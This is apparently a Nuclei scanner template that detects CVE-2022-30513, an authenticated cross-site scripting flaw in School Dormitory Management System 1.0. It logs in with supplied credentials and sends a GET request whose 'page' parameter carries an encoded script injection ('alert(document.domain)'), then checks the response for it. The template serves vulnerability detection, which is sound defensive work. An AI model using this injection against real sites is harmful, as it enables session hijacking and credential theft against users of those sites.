id: CVE-2022-30513 info: name: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting author: tess severity: medium description: | School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability via admin/inc/navigation.php:125. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts into the application, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://github.com/bigzooooz/CVE-2022-30513 - https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html - https://nvd.nist.gov/vuln/detail/CVE-2022-30513 - https://github.com/nomi-sec/PoC-in-GitHub - https://github.com/trhacknon/Pocingit classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-30513 cwe-id: CWE-79 epss-score: 0.00097 epss-percentile: 0.40134 cpe: cpe:2.3:a:school_dormitory_management_system_project:school_dormitory_management_system:1.0:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: school_dormitory_management_system_project product: school_dormitory_management_system tags: cve2022,cve,xss,authenticated,school_dormitory_management_system_project http: - raw: - | POST /dms/admin/login.php?f=login HTTP/1.1 Host: {{Hostname}} username={{username}}&password={{password}} - | GET /dms/admin/?page=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 2 matchers-condition: and matchers: - type: word part: body_2 words: - "''; alert(document.domain); s='';" - "School Dormitory Management System" condition: and - type: status status: - 200 # digest: 4a0a00473045022033affbf03bf0dcf1975e73c70089c2e0241c46f6ce9ffc31d98da6ec076f85920221009595851727c7e5648b9b504ca4e21e1ec57b635abd054a8c2bfc9aba1386f4f5:922c64590222798bb761d5b6d8e72950